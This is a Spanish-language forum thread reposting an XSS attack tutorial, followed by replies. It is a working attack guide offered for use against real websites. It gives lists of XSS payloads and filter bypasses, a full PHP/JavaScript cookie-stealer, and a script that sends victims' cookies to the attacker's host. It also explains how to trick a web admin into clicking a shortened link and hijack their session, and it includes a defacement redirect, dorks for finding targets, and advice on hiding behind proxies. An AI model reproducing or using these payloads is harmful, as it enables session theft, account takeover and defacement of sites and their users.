XSS full

Iniciado por morodog, Mayo 10, 2013, 09:59:44 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 10, 2013, 09:59:44 AM Ultima modificación: Agosto 16, 2014, 10:45:07 AM por Expermicid
¿Qué es XSS?

XSS es sinónimo de Cross-Site-Scripting. Se trata básicamente de un ataque, que se utiliza para ejecutar código HTML y Javascript en la página web. Este ataque puede hacerse mediante la presentación de consultas en cuadros de texto, o incluso en la barra de direcciones  URL. Los resultados vuelven a leer el texto como HTML, por lo que ejecuta las secuencias de comandos en lugar de mostrarlas como texto sin formato. Con un ataque XSS, usted puede robar las cookies de un Web-Administrador, o incluso utilizar algunos de ingeniería social para manipular a alguien a descargar un virus que ha creado. Tal como botnet, o RAT, tal vez incluso un Keylogger. XSS pueden ser muy peligrosos, pero también pueden ser muy leves. La mayoría de mis ataques son ataques XSS leves, que pueden ser difíciles de utilizar en contra de un sitio web.

Hay muchas maneras de utilizar XSS a su ventaja. Voy a citar algunos ejemplos. Puede utilizar un cuadro de alerta para hacer publicidad usted mismo, o alertar a la web-admin que ha descubierto un fallo de seguridad que implica XSS. También puede configurar un Cookie-Stealer/Logger. Cualquier cosa que usted puede hacer con HTML, puede ser utilizado en contra de un sitio con este ataque. Voy a explicar algunos de los términos más importantes relacionados con XSS.

¿Qué es el HTML y Javascript?

HTML

HTML es algo así como un lenguaje de programación. Las diferencias entre un lenguaje de programación y HTML, no están demasiado lejos. Ellos son los dos idiomas, que se utilizan para crear atributos y eventos. HTML es un lenguaje de marcas, que se utiliza principalmente para crear sitios web. HTML significa Hyper-Text Markup Language. Puedes usar HTML para crear formularios, botones y otras cosas que se pueden utilizar en una página web. Dudo mucho que se puedan encontrar un sitio web que no contenga incluso una pequeña cantidad de código HTML.

Javascript

Ahora, en primer lugar, vamos a dejar una cosa clara. Hay una gran diferencia entre Java y JavaScript. Java es un lenguaje que ressembles a C + +, que puede ser utilizado en los juegos, y aplicaciones. Javascript es algo similar al HTML, pero sin duda diferentes en muchos aspectos. Javascript no se utiliza casi la misma cantidad de páginas web que HTML es. Javascript se utiliza, más en aplicaciones fuera de las páginas web. Al igual que los archivos PDF. Javascript puede ser un idioma muy útil junto con HTML. Ambos son bastante simples de aprender y son muy dinámicos.

XSS: Mi primer ataque.

Ahora, vamos a empezar a meterse en las cosas realmente buenas. En esta sección, voy a estar explicando cómo utilizar XSS a su ventaja. También vamos a lanzar nuestro primer ataque de XSS, si usted sabe lo básico a XSS, puede saltarse esta sección, porque dudo que usted aprenderá todo lo que usted no sabe brevemente todavía.

Ahora, nuestro primer paso, obviamente encontrar un sitio vulnerable. Encontrar un sitio vulnerable a XSS es mucho más fácil que encontrar un sitio vulnerable a SQLi. El problema es que puede tomar tiempo para determinar si el sitio es realmente vulnerable. Con SQLi, puedes añadir un poco '. Pero en XSS, debe presentar (a veces) varias consultas, para probar su sitio para XSS.

Los sitios más vulnerables contendrán una búsqueda, Login, o un área de registro. Prácticamente en cualquier lugar que contiene un cuadro de texto, se puede explotar con XSS. Sin embargo, muchas personas se olvidan de este hecho, y nunca lo usan todo su potencial porque piensan que es inútil. Puede explotar XSS través del aswell fuente. No se puede tomar cualquier secuencia de comandos y editar la cosa completa. Sin embargo, la edición de una secuencia de comandos "onmouseover", es sin duda una excepción. Voy a explicar este método de XSS más adelante, por ahora, tenemos las bases completas.

De todas formas, nuestro sitio debe tener algunos cuadros de texto para introducir algo de HTML pulg Simplemente va a utilizar una barra de búsqueda.

Por lo tanto, tratemos de poner en el más conocido, consulta básica de todos los tiempos.

Código: php
<script>alert("XSS")</script>


Ese pequeño guión, es HTML. Hará un pequeño mensaje emergente diciendo "XSS". Puede editar esa parte, si quieres. Eso sí, no editar cualquier otra parte de la secuencia de comandos. Poner esto en la barra de búsqueda y pulsa enter. Ahora, si un cuadro de alerta poco apareció, que ha atacado con éxito un sitio vulnerable a XSS! Si no hay ningún cuadro apareció, eso está bien, porque eso significa que el sitio se ha tomado un tiempo para poner en un filtro.

Un filtro, es cuando buscamos algo, entonces se pasa a través de un mini proceso, básicamente, una inspección. Comprueba si hay alguna cosas maliciosas (peligrosos). En este caso, se buscará XSS. A veces, estos filtros son muy débiles, y puede ser pasado por alto fácilmente, otras veces, pueden ser muy difíciles de pasar por alto. Hay un montón de maneras de eludir un filtro XSS. En primer lugar, tenemos que averiguar lo que el filtro se bloquea. Una gran parte del tiempo, se Blockin la alerta. He aquí un ejemplo de este tipo de filtro:

Código: php
<script>alert("XSS")</script>


>

Código: php
<script>alert( > XSS DETECTED < )</script>


Se bloqueará las comillas. Entonces, ¿cómo diablos qué nos pasamos eso? Bueno, por suerte hay una manera de cifrar el mensaje completo :). Nosotros vamos a usar un poco la función llamada "String.fromCharCode". El nombre de la misma explica casi todo. Se cifra el texto en ASCII. Un ejemplo de este cifrado, sería así:

Código: php
String.fromCharCode(88,83,83)



Sí, puede ser un poco confuso, pero con un poco de explicar y probar, es muy simple. Esto es lo que nuestra consulta completa se verá así:

Código: php
<script>alert(String.fromCharCode(88,83,83))</script>


Usted no necesita ninguna cita en la consulta simple como eso. Así que vamos a poner ese nuevo en la barra de búsqueda, y ¡voilá! ¡Funcionó! Tenemos un cuadro de alerta que dice "XSS"! Si usted todavía no recibió ningún mensaje de alerta, pruebe algunas de estas preguntas que me gusta usar:

Código: php
"><script>alert("XSS")</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
'><script>alert("XSS")</script>
'><script>alert(String.fromCharCode(88,83,83))</script>
<ScRIPt>aLeRT("XSS")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
"><ScRIPt>aLeRT("XSS")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
'><ScRIPt>aLeRT("XSS")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>
</script><script>alert("XSS")</script>
</script><script>alert(String.fromCharCode(88,83,83))</script>
"/><script>alert("XSS")</script>
"/><script>alert(String.fromCharCode(88,83,83))</script>
'/><script>alert("XSS")</script>
'/><script>alert(String.fromCharCode(88,83,83))</script>
</SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,83))
</SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT>
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
";alert("XSS");"
";alert(String.fromCharCode(88,83,83));"
';alert("XSS");'
';alert(String.fromCharCode(88,83,83));'
";alert("XSS")
";alert(String.fromCharCode(88,83,83))
';alert("XSS")
';alert(String.fromCharCode(88,83,83))


Sí, acabo de escribir todos aquellos abajo, y tardó más de lo que debería haber, pero todo el trabajo a su manera, por lo que intento ya que muchos de ellos como sea posible. He atacado algunas bastante grandes sitios con algunas de esas consultas. Creo mis propias consultas a veces, es necesario crear algunos demasiado, puede ser útil mucho.

XSS: Métodos Avanzados

Ahora, en esta sección voy a compartir algunas maneras de utilizar XSS maliciosamente en contra de un sitio. Ahora, tenga en cuenta todos los ataques maliciosos envían a través de un sistema, un sitio o servidor, es ilegal y puede ser procesado por estas acciones. Por lo tanto, use siempre protectores si usted está pensando en hacer algo malicioso en el sitio. Si quieres hacer una pequeña caja de alerta pop up, que no es necesario un Proxy / VPN.

Robo de cookie / Inicio de sesión

Ahora, robo de cookies es de lo más dañino que podemos hacer con XSS no persistente. Un ladrón / logger galleta, registrará las cookies de los usuarios que acceden a la página de un determinado documento. La forma más sencilla de hacerlo, sería con un proceso de tres pasos.

En primer lugar, debe configurar un sitio. Personalmente, creo que lo mejor para No tienes permitido ver los links. Registrarse o Entrar a mi cuenta código carga maliciosa, programas o cualquier otra cosa. Así que adelante y registrarse allí.

Ahora, una vez que haya creado su sitio, vaya a el administrador de archivos. Crear un nuevo archivo. Llámelo "CookieLog.txt". Deje en blanco el código. Ahora, cree otro archivo después de eso, se llama "CookieLogger.php". En CookieLogger.php, tenemos que añadir algo de código, para que envíe las cookies que se registro, en nuestra galleta Log. Agregue este código, en ella (Sólo asegúrese de que el nombre de archivo tiene. Php, o de lo contrario no se ejecutará el código PHP (que es un problema enorme).

Código: php
<?php
/*
* Created on 16. april. 2007
* Created by Audun Larsen ([email protected])
*
* Copyright 2006 Munio IT, Audun Larsen
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

if(strlen($_SERVER['QUERY_STRING']) > 0) {
    $fp=fopen('./CookieLog.txt', 'a');
    fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
    fclose($fp);
} else {
?>

var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';

// ==
//  URLEncode and URLDecode functions
//
// Copyright Albion Research Ltd. 2002
// http://www.albionresearch.com/
//
// You may copy these functions providing that
// (a) you leave this copyright notice intact, and
// (b) if you use these functions on a publicly accessible
//  web site you include a credit somewhere on the web site
//  with a link back to http://www.albionresearch.com/
//
// If you find or fix any bugs, please let us know at albionresearch.com
//
// SpecialThanks to Neelesh Thakur for being the first to
// report a bug in URLDecode() - now fixed 2003-02-19.
// And thanks to everyone else who has provided comments and suggestions.
// ==
function URLEncode(str)
{
    // The Javascript escape and unescape functions do not correspond
    // with what browsers actually do...
    var SAFECHARS = "0123456789" +        // Numeric
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +    // Alphabetic
        "abcdefghijklmnopqrstuvwxyz" +
        "-_.!~*'()";        // RFC2396 Mark characters
    var HEX = "0123456789ABCDEF";

    var plaintext = str;
    var encoded = "";
    for (var i = 0; i < plaintext.length; i++ ) {
        var ch = plaintext.charAt(i);
        if (ch == " ") {
            encoded += "+";                // x-www-urlencoded, rather than %20
        } else if (SAFECHARS.indexOf(ch) != -1) {
            encoded += ch;
        } else {
            var charCode = ch.charCodeAt(0);
            if (charCode > 255) {
                alert( "Unicode Character '"
    + ch
    + "' cannot be encoded using standard URL encoding.\n" +
                    "(URL encoding only supports 8-bit characters.)\n" +
          "A space (+) will be substituted." );
                encoded += "+";
            } else {
                encoded += "%";
                encoded += HEX.charAt((charCode >> 4) & 0xF);
                encoded += HEX.charAt(charCode & 0xF);
            }
        }
    } // for

    return encoded;
};

cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'">';
document.write(html);

< ?php
}
?>



Ahora que tenemos nuestro script Logger Cookies, podemos enviar el registrador cookie para nuestro mejor amigo, el :) Web-Admin. Para ello, deberíamos Tiny la URL. O si usted puede encontrar la manera de falsificar la URL, que funcionará también.

Para el Tiny URL, vaya a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y sólo hay que poner en la URL. Pero espera una, tenemos que añadir un script en nuestra vulnerabilidad XSS. Este es el guión que se iniciará el registro de cookies.

Código: php
<script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>


Entonces sólo tiene que añadir que el guión después de la URL, entonces pequeña, y envíelo a nuestro Web-Admin, ahora esto puede tomar algún tiempo para que el administrador de hecho clic en él. A veces, la Administración no haga clic en él, por lo que si se tarda demasiado tiempo, sólo debe darse por vencido y buscar otra forma de explotarlo.

Una vez que obtenga la cookie, puede utilizar "Cookie Manager" addon de Firefox para manipular y editar las galletas para que pueda secuestrar la sesión de los administradores. Me parece Cookies Administrador una aplicación muy útil para XSS, asegúrese de que lo descargue.

DEFACING

DEFACING es una de las cosas más comunes que las personas les gusta hacer cuando no tienen acceso a múltiples opciones de administrador. Sobre todo, para que puedan anunciarse a sí mismos, y simplemente dejar que el administrador sabe que su seguridad ha sido violada. De todas formas, desfigurar con XSS requiere XSS persistentes, tal vez un cuadro de comentarios, o algo así. Puede utilizar esta secuencia de comandos para crear un re-dirigir a su página de desfigurar (Probablemente debería redirigir a tus desfigurar el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, porque es subir el anonimato.)

Código: php
<script>window.location="http://www.pastehtml.com/YOURDEFACEHERE/";</script>



XSS: Onmouseover

Onmousover no es una vulnerabilidad muy explotable. Pero, sin embargo, todavía se considera XSS. Una vulnerabilidad onmouseover sería algo como esto:

Código: php
onmouseover=prompt1337


Podemos explotar esto, editando...:

Código: php
onmouseover=alert("XSS")



Vulnerabilidad muy básico, pero cada vez es más cuenta, y parcheado en muchos más sitios web. La mayoría de los sitios usarán Adobe Flash o CSS para hacer ese tipo de efectos ahora.



XSS Técinas con filtro bypassing

A veces una simple consulta XSS no hará el truco. La razón de su consulta no funciona, se debe a que el sitio web tiene un conjunto WAF o filtro en su lugar. Un filtro bloqueará la mayor cantidad XSS y consultas sqli como sea posible. En este caso, estamos tratando con XSS.

Hay muchas maneras de pasar por filtros XSS, pero sólo me explicarán algunos.

Hex ByPassing

Con caracteres bloqueados como>, <, y /, es muy difícil de ejecutar una consulta de XSS. No te preocupes, siempre hay una solución :) Usted puede cambiar sus personajes, en hexadecimal. Un hexagonal de un cierto carácter, es básicamente el carácter, pero en un formato diferente. Estos le ayudarán a:

Código: php
> =% 3c
<% = 3c
/ =% 2F





ASCII ByPassing

Con una codificación ASCII, podemos utilizar el carácter "que se bloquea un poco Esta es una de la más común de filtro XSS no pasa de todos los tiempos Una secuencia de comandos que usted necesita para cifrar, se vería así...:

SCRIPT OFF


Código: php
<script>alert("XSS")</script>


SCRIPT ON

Código: php
<script>alert(String.fromCharCode(88,83,83))</script>


Para cifrar la pequeña parte de una secuencia de comandos, vaya a este sitio: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta yo uso ese sitio, y lo encuentro muy útil.

Case-Sensitive ByPassing

Este tipo de derivación no funciona casi nunca, pero siempre vale la pena intentarlo. Algunos filtros se establecen en el lugar para detectar ciertas secuencias, sin embargo, las cadenas del filtro que se bloquean entre mayúsculas y minúsculas. Así que todo lo que tenemos que hacer, es ejecutar una secuencia de comandos, con diferentes tamaños de caracteres. Esta derivación, se vería así:

Código: php
<ScRiPt>aLeRt("XSS")</ScRiPt>


También se puede mezclar eso con cifrado ASCII, si quieres. Este tipo de derivación sólo funciona en los filtros realmente estúpidas, o los muy muy viejo.

XSS DORKS

Por lo general es mejor para crear / buscar sus propios idiotas, pero en este tutorial, voy a escribir algo bien rápido para compartir:

Código: php
inurl:search.php?
inurl:find.php?
inurl:search.html
inurl:find.html
inurl:search.aspx
inurl:find.aspx


Esas dorks son casi tan básico como se puede conseguir, lo siento si no te satisfacen. Yo rara vez uso dorks, y con este tutorial que no es necesario utilizar dorks de encontrar un sitio vulnerable. XSS es una vulnerabilidad muy popular.


Saludos!!


FUENTE: calebucker

Pero que nivel!!
Muchisimas gracias bro!!


Gracias por traerlo.

Autor original Caleb Bucker

Saludos.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

esta buenísimo :) gracias por el aporte!

Excelente material, gracias por el aporte!   :D

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muy buen tuto! Sigue asi :D
Никогда не доверяй никому.

lo  que siempre veo pero no se como llevarlo a la practica o que hacer con esto
<script>....</script>

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
lo  que siempre veo pero no se como llevarlo a la practica o que hacer con esto
<script>....</script>

Eso forma parte de "la carga útil" o "payload" es el trozo de código javascript que ejecutará el sitio victima, como XSS trata de ejecutar código en el lado del cliente JavaScript será tu herramienta principal.

Imaginemos que tenemos un código que te reporta la cookie de sesión de un usuario en una web, resumiremos ese código con: [código maestro] y luego encuentras en una web una vulnerabilidad XSS en la url de la siguiente forma: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, donde Banana sería "el lugar de ataque, lo que podemos modificar a voluntad", entonces reemplazamos "Banana" por "[código maestro]", PERO como sabemos que nuestro "[código maestro]" está escrito en JavaScript lo debemos ingresar entrelas etiquetas <script></script> para que cuando el sitio lo interprete sepa que es un código en JavaScript, por lo tanto tu vector de ataque quedaría:

www.sitio.com/buscar.php?s=<script>[código maestro]</script>

(ahí los códigos de tu consulta  ;D ;D)
Pequeño ejemplo ilustrativo, espero haber resuelto tu duda :D! lo que sigue es que puedas releer este post para que te hagas una idea del poder de XSS.

Saludos!
Nivel 77 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

bastante informativo y sencillo bien crack